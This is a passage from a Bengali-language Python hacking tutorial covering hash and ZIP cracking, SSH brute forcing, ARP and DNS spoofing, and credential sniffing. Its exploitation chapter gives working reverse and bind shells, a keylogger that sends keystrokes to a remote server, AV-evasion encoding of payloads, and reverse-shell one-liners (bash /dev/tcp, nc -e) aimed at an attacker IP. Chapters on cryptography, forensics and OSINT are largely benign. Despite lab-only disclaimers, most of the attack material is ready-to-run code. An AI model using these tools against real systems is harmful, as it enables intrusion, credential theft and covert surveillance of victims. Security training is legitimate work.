= hashlib.md5(text.encode()).hexdigest() sha1 =
hashlib.sha1(text.encode()).hexdigest() sha256 =
hashlib.sha256(text.encode()).hexdigest() sha512 =
hashlib.sha512(text.encode()).hexdigest() print(f"MD5: {md5}") print(f"SHA1: {sha1}")
print(f"SHA256: {sha256}") print(f"SHA512: {sha512}") # ── Hash Identification
──────────────────── def identify_hash(h): """Hash-এর length দেখে type অনুমান করে"""
length = len(h) hash_types = { 32: "MD5", 40: "SHA-1", 56: "SHA-224", 64: "SHA-256 /
Blowfish", 96: "SHA-384", 128: "SHA-512", 13: "DES (Unix)", } # Prefix দিয়ে চেনা if
h.startswith("$2a$") or h.startswith("$2b$"): return "bcrypt" elif
h.startswith("$6$"): return "SHA-512 crypt (Linux /etc/shadow)" elif
h.startswith("$1$"): return "MD5 crypt" elif h.startswith("$5$"): return "SHA-256
crypt" return hash_types.get(length, f"Unknown ({length} chars)") # Test hashes = [
"5f4dcc3b5aa765d61d8327deb882cf99", "$2b$12$ABC123...", "$6$salt$longsha512hashhere" ]
for h in hashes: print(f"{h[:20]}... → {identify_hash(h)}") # ── Salt দিয়ে Hash
(secure) ──────────────── import os salt = os.urandom(16) # 16 random bytes salted =
hashlib.sha256(salt + "password".encode()).hexdigest() print(f"Salt: {salt.hex()}")
print(f"Salted Hash: {salted}")
```

💥 Hash Cracker — Dictionary Attack

```
import hashlib, sys from tqdm import tqdm def crack_hash(target_hash, wordlist,
hash_type="md5"): """ Dictionary attack দিয়ে hash crack করে Supported: md5, sha1,
sha256, sha512 """ target_hash = target_hash.lower().strip() hash_func =
getattr(hashlib, hash_type) print(f"[*] Target Hash: {target_hash}") print(f"[*]
Algorithm: {hash_type.upper()}") print(f"[*] Wordlist: {wordlist}") with
open(wordlist, encoding="latin-1", errors="ignore") as f: lines = f.readlines() for
```

```
line in tqdm(lines, desc="Cracking"): word = line.strip() if not word: continue # Hash calculate করো computed = hash_func(word.encode("utf-8", errors="ignore")).hexdigest() if computed == target_hash: print(f"\n[+] CRACKED! Hash: {target_hash}") print(f"[+] Password: {word}") return word print("\n[-] Not found in wordlist") return None # ── Multi-hash crack (একসাথে অনেক hash) ── def crack_multiple(hashes_file, wordlist, hash_type="md5"): with open(hashes_file) as f: targets = {line.strip().lower() for line in f if line.strip()} hash_func = getattr(hashlib, hash_type) cracked = {} with open(wordlist, encoding="latin-1", errors="ignore") as f: for word in tqdm(f, desc="Cracking"): word = word.strip() h = hash_func(word.encode()).hexdigest() if h in targets: cracked[h] = word targets.discard(h) print(f"\n[+] {h} → {word}") if not targets: break return cracked # Usage crack_hash("5f4dcc3b5aa765d61d8327deb882cf99", "rockyou.txt", "md5") # [+] CRACKED! Password: password
```

🔐 SSH Brute Force — paramiko দিয়ে

```
# pip install paramiko import paramiko, threading, time from queue import Queue def ssh_connect(ip, port, username, password): """SSH login attempt করে""" client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect( ip, port=port, username=username, password=password, timeout=3, banner_timeout=5, auth_timeout=5 ) client.close() return True except paramiko.AuthenticationException: return False # Wrong password except paramiko.SSHException: time.sleep(1) # Rate limit হয়েছে return False except: return False finally: client.close() def ssh_brute(ip, port, username, wordlist, max_threads=5): """SSH brute force (rate-limit সচেতন)""" paramiko.util.log_to_file("/dev/null") # log suppress with open(wordlist, encoding="latin-1") as f: passwords = [l.strip() for l in f if l.strip()] print(f"[*] SSH Brute Force: {username}@{ip}:{port}") print(f"[*] Trying {len(passwords)} passwords ... ") found = [None] def try_password(pwd): if found[0]: return if ssh_connect(ip, port, username, pwd): found[0] = pwd print(f"\n[+] SUCCESS! Password: {pwd}") # Thread pool (SSH-এ বেশি thread ভালো না) semaphore = threading.Semaphore(max_threads) threads = [] for pwd in passwords: if found[0]: break semaphore.acquire() def run(p=pwd): try: try_password(p) finally: semaphore.release() t = threading.Thread(target=run) threads.append(t) t.start() for t in threads: t.join() return found[0] # ── SSH দিয়ে Command চালানো (post-exploit) ─ def ssh_exec(ip, username, password, command): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username=username, password=password) stdin, stdout, stderr = client.exec_command(command) output = stdout.read().decode() client.close() return
```

```
output # Post-exploitation commands # output = ssh_exec("192.168.1.1", "root", "toor", "id && whoami && cat /etc/passwd")
```

📦 ZIP / Archive Password Cracker

```
import zipfile, threading from tqdm import tqdm from queue import Queue def crack_zip(zip_path, wordlist, threads=10): """ZIP file-এর password crack করে""" zf = zipfile.ZipFile(zip_path) pwd_queue = Queue() found = [None] with open(wordlist, encoding="latin-1") as f: passwords = [l.strip() for l in f if l.strip()] for p in passwords: pwd_queue.put(p) def worker(): while not pwd_queue.empty() and not found[0]: pwd = pwd_queue.get() try: zf.extractall(pwd=pwd.encode()) found[0] = pwd print(f"\n[+] ZIP Password FOUND: {pwd}") except (zipfile.BadZipFile, RuntimeError): pass except: pass finally: pwd_queue.task_done() print(f"[*] Cracking {zip_path}...") thread_list = [threading.Thread(target=worker) for _ in range(threads)] for t in thread_list: t.start() pwd_queue.join() return found[0] # Brute force (wordlist ছাড়া) — ছোট password-এর জন্য import itertools, string def brute_force_zip(zip_path, charset=None, max_len=4): """Pure brute force — শুধু ছোট password-এর জন্য""" if not charset: charset = string.digits + string.ascii_lowercase zf = zipfile.ZipFile(zip_path) print(f"[*] Brute forcing up to {max_len} chars...") for length in range(1, max_len + 1): for combo in itertools.product(charset, repeat=length): pwd = "".join(combo) try: zf.extractall(pwd=pwd.encode()) print(f"[+] Found: {pwd}") return pwd except: pass crack_zip("secret.zip", "rockyou.txt")
```

✅ Chapter 5 Summary

- 🧬 hashlib দিয়ে MD5, SHA1, SHA256 সহ সব common hash বানানো ও verify করা যায়
- 💥 Dictionary attack = wordlist-এর প্রতিটি word hash করে target hash-এর সাথে মেলানো
- 🔐 SSH brute force-এ ৫টির বেশি thread ব্যবহার করো না — server block করে দিতে পারে
- 📦 ZIP crack-এ threads ব্যবহার করো কিন্তু বড় wordlist-এ Hashcat অনেক দ্রুত (GPU)

CHAPTER 06

🔐 Cryptography — এনক্রিপশনের জগৎ

Base64, XOR, Caesar, Vigenere, AES, RSA — CTF থেকে Real-world cryptography

🔤 Encoding (Encryption নয়!) — Base64, Hex, ROT13

```
import base64, codecs, binascii text = "Hello, Hacker!" # ── Base64 ──────────────────────────────── encoded = base64.b64encode(text.encode()) decoded = base64.b64decode(encoded).decode() print(f"Base64 Encode: {encoded}") print(f"Base64 Decode: {decoded}") # URL-safe Base64 (JWT token-এ ব্যবহার) url_enc = base64.urlsafe_b64encode(text.encode()) print(f"URL-safe: {url_enc}") # ── Hex Encoding ──────────────────────────── hex_enc = text.encode().hex() hex_dec = bytes.fromhex(hex_enc).decode() print(f"Hex: {hex_enc}") # ── ROT13 (Caesar Cipher with shift 13) ── rot13 = codecs.encode(text, "rot_13") print(f"ROT13: {rot13}") print(f"ROT13 decode: {codecs.encode(rot13, 'rot_13')}") # ── Binary ──────────────────────────────── binary = " ".join(format(ord(c), "08b") for c in text) print(f"Binary: {binary[:40]}...")
```

🔀 Classical Ciphers — CTF-এর জন্য

```
# ── Caesar Cipher (সব shift try করা) ─────── def caesar_brute(ciphertext): """Caesar cipher-এর সব 25টি shift try করে""" ciphertext = ciphertext.upper() for shift in range(1, 26): result = "" for char in ciphertext: if char.isalpha(): result += chr((ord(char) - ord("A") - shift) % 26 + ord("A")) else: result += char print(f"Shift {shift:2d}: {result}") # ── Vigenere Cipher ──────────────────────── def vigenere_decrypt(ciphertext, key): """Vigenere cipher decrypt করে""" key = key.upper() result = "" key_idx = 0 for char in ciphertext.upper(): if char.isalpha(): shift = ord(key[key_idx % len(key)]) - ord("A") result += chr((ord(char) - ord("A") - shift) % 26 + ord("A")) key_idx += 1 else: result += char return result # ── XOR Cipher (Malware-এ খুব সাধারণ) ─────── def xor_encrypt(data, key): """Single-byte XOR encrypt/decrypt""" if isinstance(data, str): data = data.encode() if isinstance(key, int): return bytes(b ^ key for b in data) else: # Multi-byte key key = key.encode() if isinstance(key, str) else key return bytes(b ^ key[i % len(key)] for i, b in
```

```
enumerate(data)) # XOR Brute Force (single byte) def xor_brute(ciphertext_bytes): """0-255 সব key try করে readable output খোঁজে""" for key in range(256): plain = xor_encrypt(ciphertext_bytes, key) try: text = plain.decode("ascii") # Printable character check printable = sum(32 ≤ b ≤ 126 for b in plain) if printable / len(plain) > 0.9: print(f"Key=0x{key:02X}: {text}") except: pass # Test secret = xor_encrypt("CTF{flag_here}", 0x41) xor_brute(secret)
```

🔐 AES Encryption — pycryptodome

```
# pip install pycryptodome from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Random import get_random_bytes import base64 # ── AES-256-CBC (সবচেয়ে সাধারণ) ────────── def aes_encrypt(plaintext, key=None): """AES-256-CBC দিয়ে encrypt করে""" if not key: key = get_random_bytes(32) # 256-bit key if isinstance(key, str): key = key.encode().ljust(32, b"\0")[:32] iv = get_random_bytes(16) # Random IV cipher = AES.new(key, AES.MODE_CBC, iv) ct = cipher.encrypt(pad(plaintext.encode(), AES.block_size)) # IV + Ciphertext একসাথে base64 করো result = base64.b64encode(iv + ct).decode() return result, key def aes_decrypt(ciphertext_b64, key): """AES-256-CBC decrypt করে""" if isinstance(key, str): key = key.encode().ljust(32, b"\0")[:32] data = base64.b64decode(ciphertext_b64) iv = data[:16] ct = data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ct), AES.block_size) return plaintext.decode() # ── Test ──────────────────────────────────── message = "Secret message: admin password = Tr0ub4dor&3" encrypted, key = aes_encrypt(message) print(f"Encrypted: {encrypted}") print(f"Key (hex): {key.hex()}") decrypted = aes_decrypt(encrypted, key) print(f"Decrypted: {decrypted}") # ── AES-GCM (Authenticated Encryption) ─────── from Crypto.Cipher import AES def aes_gcm_encrypt(plaintext, key): cipher = AES.new(key, AES.MODE_GCM) ct, tag = cipher.encrypt_and_digest(plaintext.encode()) return cipher.nonce, ct, tag # nonce = IV for GCM def aes_gcm_decrypt(nonce, ciphertext, tag, key): cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) try: plaintext = cipher.decrypt_and_verify(ciphertext, tag) return plaintext.decode() except ValueError: raise ValueError("Decryption failed — data tampered!")
```

🔑 RSA — Public Key Cryptography

```
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Signature import pkcs1_15 from Crypto.Hash import SHA256 # ── RSA Key তৈরি ──────────────────────────── key = RSA.generate(2048) private_key = key.export_key()
```

```
public_key = key.publickey().export_key() # ── File-এ save করা ──────────────────────────── with open("private.pem", "wb") as f: f.write(private_key) with open("public.pem", "wb") as f: f.write(public_key) # ── RSA Encrypt (Public key দিয়ে) ──────────── def rsa_encrypt(message, pub_key_pem): pub_key = RSA.import_key(pub_key_pem) cipher = PKCS1_OAEP.new(pub_key) return cipher.encrypt(message.encode()) # ── RSA Decrypt (Private key দিয়ে) ──────────── def rsa_decrypt(ciphertext, priv_key_pem): priv_key = RSA.import_key(priv_key_pem) cipher = PKCS1_OAEP.new(priv_key) return cipher.decrypt(ciphertext).decode() # ── Digital Signature ──────────────────────── def sign_message(message, priv_key_pem): key = RSA.import_key(priv_key_pem) h = SHA256.new(message.encode()) signature = pkcs1_15.new(key).sign(h) return signature def verify_signature(message, signature, pub_key_pem): key = RSA.import_key(pub_key_pem) h = SHA256.new(message.encode()) try: pkcs1_15.new(key).verify(h, signature) return True except: return False # ── JWT Token Analysis ──────────────────────── def decode_jwt(token): """JWT token decode করে (signature verify ছাড়া)""" parts = token.split(".") if len(parts) != 3: return None import json def b64_decode_safe(s): # Padding fix s += "=" * (4 - len(s) % 4) return json.loads(base64.urlsafe_b64decode(s)) header = b64_decode_safe(parts[0]) payload = b64_decode_safe(parts[1]) print(f"Header: {header}") print(f"Payload: {payload}") return header, payload # Test JWT jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.sig" decode_jwt(jwt)
```

✅ Chapter 6 Summary

- 🔤 Base64 হলো encoding, encryption নয় — যেকেউ decode করতে পারে
- 🔀 XOR cipher malware-এ খুব সাধারণ — single-byte brute force দিয়ে সহজেই crack হয়
- 🔐 AES-CBC real-world-এ সবচেয়ে বেশি ব্যবহৃত — GCM দিয়ে authenticity ও guarantee হয়
- 🔑 RSA public key দিয়ে encrypt, private key দিয়ে decrypt — hybrid encryption-এ AES key পাঠাতে RSA ব্যবহার হয়

CHAPTER 07

🌊 Packet Crafting — Scapy দিয়ে নেটওয়ার্ক আক্রমণ

ARP Spoofing, DNS Spoofing, Packet Sniffing, MITM — সব Scapy দিয়ে

⚠️ **শুধুমাত্র নিজের Lab network-এ practice করো!**

ARP Spoofing ও DNS Spoofing অন্যের network-এ করা বেআইনি। VirtualBox/VMware-এ isolated network ব্যবহার করো।

📦 Scapy Basics — Packet বানানো ও পাঠানো

```
# sudo python3 (root দরকার) from scapy.all import * # ── Packet তৈরি (Layer by Layer) ──────────── # IP packet ip = IP(dst="192.168.1.1", src="192.168.1.100", ttl=64) # TCP segment tcp = TCP(dport=80, sport=RandShort(), flags="S") # SYN # Combine করো packet = ip / tcp packet.show() # সব field দেখো # ── Send করো ──────────────────────────────────── # send() — Layer 3 (IP), response নেয় না # sendp() — Layer 2 (Ethernet), response নেয় না # sr() — send + receive (Layer 3) # sr1() — send + receive first reply only # srp() — send + receive (Layer 2) # SYN packet পাঠাও এবং reply নাও response = sr1(ip / tcp, timeout=2, verbose=0) if response: if response.haslayer(TCP): flags = response[TCP].flags if flags == "SA": # SYN-ACK print("[+] Port 80 is OPEN") elif flags == "RA": # RST-ACK print("[-] Port 80 is CLOSED") else: print("[?] Port 80 FILTERED") # ── ICMP Ping ──────────────────────────── ping = IP(dst="8.8.8.8") / ICMP() reply = sr1(ping, timeout=2, verbose=0) if reply: print(f"[+] Host alive! TTL={reply.ttl}")
```

🎭 ARP Spoofing — MITM Attack

```
from scapy.all import ARP, Ether, send, get_if_hwaddr import time, threading, os def get_mac(ip): """IP থেকে MAC বের করে""" arp_req = ARP(pdst=ip) broadcast = Ether(dst="ff:ff:ff:ff:ff:ff") packet = broadcast / arp_req answered, _ = srp(packet, timeout=2, verbose=0) if answered: return answered[0][1].hwsrc return None def arp_spoof(target_ip, gateway_ip): """ target → আমরা gateway মনে করিয়ে দিই gateway →
```

```
আমরা target মনে করিয়ে দিই ফলে সব traffic আমাদের দিয়ে যায় = MITM """ target_mac = get_mac(target_ip) gateway_mac = get_mac(gateway_ip) attacker_mac = get_if_hwaddr("eth0") if not target_mac or not gateway_mac: print("[-] MAC বের করা যায়নি") return print(f"[*] Target: {target_ip} ({target_mac})") print(f"[*] Gateway: {gateway_ip} ({gateway_mac})") print("[*] ARP Spoofing শুরু... (Ctrl+C = stop)") # IP Forwarding চালু করো (traffic forward হবে) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") sent = 0 try: while True: # Target-কে বলো: Gateway = আমি send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=0) # Gateway-কে বলো: Target = আমি send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip), verbose=0) sent += 2 print(f"\r[*] Packets sent: {sent}", end="") time.sleep(2) except KeyboardInterrupt: print("\n[*] Restoring ARP tables...") # ARP table restore করো for _ in range(5): send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac), verbose=0) send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac), verbose=0) os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") print("[+] Restored!")
```

👂 Packet Sniffing — Network Traffic দেখা

```
from scapy.all import sniff, IP, TCP, UDP, DNS, DNSQR, Raw import re # ── Basic Sniffer ──────────────────────────── def packet_callback(packet): """প্রতিটি packet এর জন্য call হয়""" if packet.haslayer(IP): src = packet[IP].src dst = packet[IP].dst # TCP packet if packet.haslayer(TCP): sport = packet[TCP].sport dport = packet[TCP].dport # HTTP traffic (unencrypted) if dport == 80 and packet.haslayer(Raw): payload = packet[Raw].load.decode(errors="ignore") if "GET" in payload or "POST" in payload: print(f"\n[HTTP] {src} → {dst}") # Password খোঁজা if "password" in payload.lower(): print(f"[!!! CREDENTIALS] {payload[:200]}") # DNS queries if packet.haslayer(DNS) and packet.haslayer(DNSQR): query = packet[DNSQR].qname.decode() print(f"[DNS] {src} → {query}") # ── Sniff শুরু করো ──────────────────────────── print("[*] Sniffing... (Ctrl+C to stop)") sniff( iface="eth0", prn=packet_callback, filter="tcp or udp", # BPF filter store=0 # memory-তে রাখবে না ) # ── PCAP file-এ save করা ──────────────────────── from scapy.all import wrpcap, rdpcap # Capture করে save করো packets = sniff(iface="eth0", count=100) wrpcap("capture.pcap", packets) # পরে read করো saved_packets = rdpcap("capture.pcap") print(f"Loaded {len(saved_packets)} packets")
```

🌐 DNS Spoofing — নকল DNS response

```
from scapy.all import * # ARP Spoof চলার পর, DNS query intercept করো dns_spoof_map = {
"bank.com": "192.168.1.100", # আমাদের fake server "paypal.com": "192.168.1.100", } def
dns_spoof_callback(packet): if (DNS in packet and packet[DNS].qr == 0): # query
queried = packet[DNS].qd.qname.decode().rstrip(".") if queried in dns_spoof_map:
fake_ip = dns_spoof_map[queried] print(f"[*] Spoofing DNS: {queried} → {fake_ip}") #
Fake DNS response তৈরি spoofed = (IP(src=packet[IP].dst, dst=packet[IP].src) /
UDP(sport=53, dport=packet[UDP].sport) / DNS( id=packet[DNS].id, qr=1, aa=1,
qd=packet[DNS].qd, an=DNSRR(rrname=packet[DNS].qd.qname, rdata=fake_ip, ttl=10) ))
send(spoofed, verbose=0) sniff(filter="udp port 53", prn=dns_spoof_callback)
```

✅ Chapter 7 Summary

- 📦 Scapy দিয়ে যেকোনো packet layer by layer বানানো যায় — Ethernet / IP / TCP / UDP সব
- 🎭 ARP Spoof = victim-কে ভুল MAC দেওয়া → তার সব traffic আমাদের দিয়ে যায়
- 👂 Sniffer চালিয়ে unencrypted HTTP traffic-এ credentials দেখা যায়
- 🌐 DNS Spoof-এ victim সঠিক domain টাইপ করলেও আমাদের fake site-এ যায়

CHAPTER 08

💣 Exploitation & Shells — অ্যাক্সেস নেওয়া

Reverse Shell, Bind Shell, Keylogger, Persistence — post-exploitation techniques

> ⚠️ **শুধুমাত্র নিজের lab বা CTF-এ ব্যবহার করো**
>
> এই chapter-এর কোড শিক্ষামূলক। অনুমতি ছাড়া কোনো সিস্টেমে ব্যবহার করা বেআইনি।

🔙 Reverse Shell — Python দিয়ে

```
# ── Reverse Shell (Victim-এ চলবে) ──────────── # Victim attacker-এর কাছে connect করে import socket, subprocess, os, sys def reverse_shell(attacker_ip, attacker_port): """ Victim machine-এ run করো। Attacker-এ আগে: nc -lvnp 4444 """ try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((attacker_ip, attacker_port)) # stdin/stdout/stderr সব socket-এ পাঠাও os.dup2(s.fileno(), 0) # stdin os.dup2(s.fileno(), 1) # stdout os.dup2(s.fileno(), 2) # stderr # Interactive shell subprocess.call(["/bin/bash", "-i"]) except: sys.exit() # ── Interactive Reverse Shell (Better) ──── def interactive_reverse_shell(ip, port): """Command-by-command shell""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) sock.send(b"[*] Connected! Shell ready.\n") while True: try: # Command নাও cmd = sock.recv(4096).decode().strip() if cmd.lower() in ["exit", "quit"]: break if not cmd: continue # cd command আলাদাভাবে handle if cmd.startswith("cd "): try: os.chdir(cmd[3:]) output = f"[cd] {os.getcwd()}\n" except Exception as e: output = f"Error: {e}\n" else: result = subprocess.run( cmd, shell=True, capture_output=True, text=True, cwd=os.getcwd() ) output = result.stdout + result.stderr if not output: output = "[no output]\n" sock.send(output.encode()) except: break sock.close()
```

🔗 Bind Shell — Port-এ Listen করা

```
# ── Bind Shell (Victim-এ চলবে) ──────────── # Victim নিজেই একটি port খোলে, Attacker connect করে import socket, subprocess, threading def bind_shell(port=4445): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET,
```

```
socket.SO_REUSEADDR, 1) server.bind(("0.0.0.0", port)) server.listen(1) print(f"[*] Bind shell listening on port {port}") conn, addr = server.accept() print(f"[+] Connection from {addr}") conn.send(b"Shell connected\n") while True: cmd = conn.recv(1024).decode().strip() if not cmd or cmd == "exit": break result = subprocess.getoutput(cmd) conn.send(result.encode() + b"\n") conn.close() # Attacker side: # nc victim_ip 4445
```

⌨️ Keylogger — Keyboard capture

```
# pip install pynput from pynput.keyboard import Key, Listener import logging, datetime # ── Simple File Logger ──────────────────────── log_file = f"keylog_{datetime.date.today()}.txt" logging.basicConfig(filename=log_file, level=logging.DEBUG, format="%(message)s") keys_pressed = [] def on_press(key): try: # Normal character keys_pressed.append(key.char) logging.info(key.char) except AttributeError: # Special key if key == Key.space: keys_pressed.append(" ") elif key == Key.enter: keys_pressed.append("\n") elif key == Key.backspace and keys_pressed: keys_pressed.pop() else: keys_pressed.append(f"[{key.name}]") logging.info(f"[{key}]") def on_release(key): if key == Key.esc: return False # ESC চাপলে বন্ধ # ── Network Keylogger (remote send) ──────── import socket, threading class NetworkKeylogger: def __init__(self, server_ip, port, send_interval=30): self.server_ip = server_ip self.port = port self.buffer = "" self.interval = send_interval def send_data(self): """Interval-এ data server-এ পাঠায়""" while True: import time time.sleep(self.interval) if self.buffer: try: s = socket.socket() s.connect((self.server_ip, self.port)) s.send(self.buffer.encode()) s.close() self.buffer = "" except: pass print("[*] Keylogger started (ESC to stop)") with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
```

🔄 Payload Encoding — Detection এড়ানো

```
import base64, zlib, gzip # ── Script encode করা ──────────────────────── script = """ import socket,subprocess,os s=socket.socket() s.connect(("10.10.10.10",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) subprocess.call(["/bin/bash","-i"]) """ # Base64 encode করে launcher বানানো encoded = base64.b64encode(script.encode()).decode() launcher = f'python3 -c "import base64; exec(base64.b64decode({repr(encoded)}).decode())"' print(f"One-liner: {launcher}") # ── Compressed payload ──────────────────────── compressed = zlib.compress(script.encode()) comp_b64 = base64.b64encode(compressed).decode()
```

```
launcher2 = f'python3 -c "import base64,zlib;
exec(zlib.decompress(base64.b64decode({repr(comp_b64)})).decode())"'
print(f"\nCompressed one-liner: {launcher2}") # ── MSFVenom alternative — raw shell
generate — # এটা Metasploit ছাড়া custom reverse shell বানানোর উপায় def
generate_shell_script(ip, port, shell_type="bash"): shells = { "bash": f"bash -i >&
/dev/tcp/{ip}/{port} 0>&1", "python": f"python3 -c 'import
socket,subprocess,os;s=socket.socket();s.connect((\"{ip}\",
{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call
i\"])'", "nc": f"nc -e /bin/sh {ip} {port}", "perl": f"perl -e 'use Socket;$i=\"
{ip}\";$p=
{port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet
-i\");'", } return shells.get(shell_type, "") for name, cmd in {"bash": ... , "python":
... , "nc": ... }.items(): print(f"{name}: {generate_shell_script('10.10.10.10', 4444,
name)}")
```

✅ Chapter 8 Summary

- 🔙 Reverse Shell = victim আমাদের কাছে connect করে — firewall bypass করার সেরা উপায়
- 🔌 Bind Shell = victim নিজে port খোলে — কিন্তু firewall-এ সহজে block হয়
- ⌨️ pynput দিয়ে keylogger বানানো সহজ — CTF/pentesting lab-এ practice করো
- 🔄 Base64 + compress দিয়ে payload encode করলে simple AV detect করতে পারে না

CHAPTER 09

🔐 Cryptography with Python

AES, RSA, XOR, Caesar, Base64, Hash — সব ধরনের Encryption ও Decryption

🔤 Classic Ciphers

```
# == Caesar Cipher == def caesar_encrypt(text, shift): result = "" for char in text:
if char.isalpha(): base = ord('A') if char.isupper() else ord('a') result +=
chr(((ord(char) - base + shift) % 26) + base) else: result += char return result def
caesar_bruteforce(ciphertext): print("[*] Caesar brute force:") for shift in range(1,
26): decoded = caesar_encrypt(ciphertext, -shift) print(f" Shift {shift:2d}:
{decoded}") # == XOR Cipher == def xor_cipher(data, key): if isinstance(data, str):
data = data.encode() if isinstance(key, str): key = key.encode() return bytes([data[i]
^ key[i % len(key)] for i in range(len(data))]) encrypted = xor_cipher("Hello World",
"key") decrypted = xor_cipher(encrypted, "key") # Same operation! print(f"Encrypted:
{encrypted.hex()}") print(f"Decrypted: {decrypted.decode()}")
```

📦 Base64 ও Encoding

```
import base64, codecs original = "secret password" b64 =
base64.b64encode(original.encode()).decode() back = base64.b64decode(b64).decode()
print(f"Base64: {b64}") print(f"Decoded: {back}") # URL-safe base64 (JWT-তে ব্যবহার)
url_b64 = base64.urlsafe_b64encode(original.encode()).decode() # Hex hex_str =
original.encode().hex() hex_back = bytes.fromhex(hex_str).decode() # ROT13 rot13 =
codecs.encode("Hello", 'rot_13') print(f"ROT13: {rot13}") # Uryyb
```

🔒 AES Encryption

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from
cryptography.hazmat.primitives import padding from cryptography.hazmat.backends import
default_backend import os def aes_encrypt(plaintext, key=None): if key is None: key =
```

```
os.urandom(32) # 256-bit iv = os.urandom(16) padder = padding.PKCS7(128).padder()
padded = padder.update(plaintext.encode()) + padder.finalize() cipher =
Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) ciphertext =
cipher.encryptor().update(padded) + cipher.encryptor().finalize() return {'key': key,
'iv': iv, 'ciphertext': ciphertext} def aes_decrypt(ciphertext, key, iv): cipher =
Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) padded =
cipher.decryptor().update(ciphertext) + cipher.decryptor().finalize() unpadder =
padding.PKCS7(128).unpadder() return (unpadder.update(padded) +
unpadder.finalize()).decode() r = aes_encrypt("Secret message!") print(f"Key:
{r['key'].hex()[:32]}...") print(f"Cipher: {r['ciphertext'].hex()}") decrypted =
aes_decrypt(r['ciphertext'], r['key'], r['iv']) print(f"Decrypted: {decrypted}")
```

🔑 RSA Encryption

```
from cryptography.hazmat.primitives.asymmetric import rsa, padding as ap from
cryptography.hazmat.primitives import hashes private_key =
rsa.generate_private_key(public_exponent=65537, key_size=2048) public_key =
private_key.public_key() message = b"Hello RSA!" ciphertext =
public_key.encrypt(message, ap.OAEP( mgf=ap.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None)) plaintext = private_key.decrypt(ciphertext,
ap.OAEP( mgf=ap.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(),
label=None)) print(f"Original: {message}") print(f"Encrypted: {ciphertext.hex()
[:40]}...") print(f"Decrypted: {plaintext}")
```

✅ Chapter 9 Summary

- ✓ Caesar, XOR, Vigenere — classic cipher implement করতে পারো
- ✓ Base64, Hex, ROT13 — CTF-এ সবচেয়ে বেশি কাজে লাগে
- ✓ AES-256 CBC — production-grade symmetric encryption
- ✓ RSA 2048 — asymmetric encryption, key pair তৈরি

CHAPTER 10

🕵️ Forensics ও OSINT

Metadata Extraction, File Carving, OSINT Automation, Steganography

📸 EXIF Metadata Extraction

```
from PIL import Image from PIL.ExifTags import TAGS, GPSTAGS def extract_exif(image_path): img = Image.open(image_path) exif = img._getexif() if not exif: print("[-] No EXIF data"); return metadata = {TAGS.get(k, k): str(v) for k, v in exif.items()} print(f"[+] EXIF: {image_path}") for field in ['Make','Model','DateTime','Software','GPSInfo']: if field in metadata: print(f"{field}: {metadata[field]}") # GPS coordinates বের করো if 34853 in exif: gps = {GPSTAGS.get(k,k): v for k, v in exif[34853].items()} print(f"[!] GPS FOUND: {gps}") extract_exif("photo.jpg")
```

🔍 Magic Bytes File Identification

```
MAGIC = { b'\x89PNG': 'PNG Image', b'\xff\xd8\xff': 'JPEG Image', b'%PDF': 'PDF Document', b'PK\x03\x04': 'ZIP Archive', b'MZ': 'Windows PE', b'\x7fELF': 'Linux ELF', b'Rar!': 'RAR Archive', b'\x1f\x8b': 'GZIP', b'GIF8': 'GIF Image', b'RIFF': 'WAV/AVI', } def identify_file(filepath): with open(filepath, 'rb') as f: header = f.read(16) for magic, ftype in MAGIC.items(): if header.startswith(magic): return ftype return "Unknown" # Hidden file carving def carve_files(filepath): with open(filepath, 'rb') as f: data = f.read() for magic, ftype in MAGIC.items(): offset = 0 while (pos := data.find(magic, offset)) ≠ -1: if pos > 0: print(f"[!] Embedded {ftype} at offset 0x{pos:x}") offset = pos + 1
```

🌐 Domain OSINT

```
import socket, dns.resolver, whois def domain_osint(domain): print(f"\n[*] OSINT: {domain}") # IP ip = socket.gethostbyname(domain) print(f"[+] IP: {ip}") # DNS Records
```

```
for rtype in ['A','MX','NS','TXT','CNAME']: try: answers = dns.resolver.resolve(domain, rtype) for r in answers: print(f"[+] {rtype:6}: {r}") except: pass # WHOIS try: w = whois.whois(domain) print(f"[+] Registrar: {w.registrar}") print(f"[+] Created: {w.creation_date}") except: pass # Subdomain Enum def subdomain_enum(domain, wordlist): found = [] for sub in wordlist: target = f"{sub.strip()}.{domain}" try: ip = socket.gethostbyname(target) print(f"[+] {target:<40} → {ip}") found.append((target, ip)) except: pass return found domain_osint("example.com")
```

🖼️ LSB Steganography

```
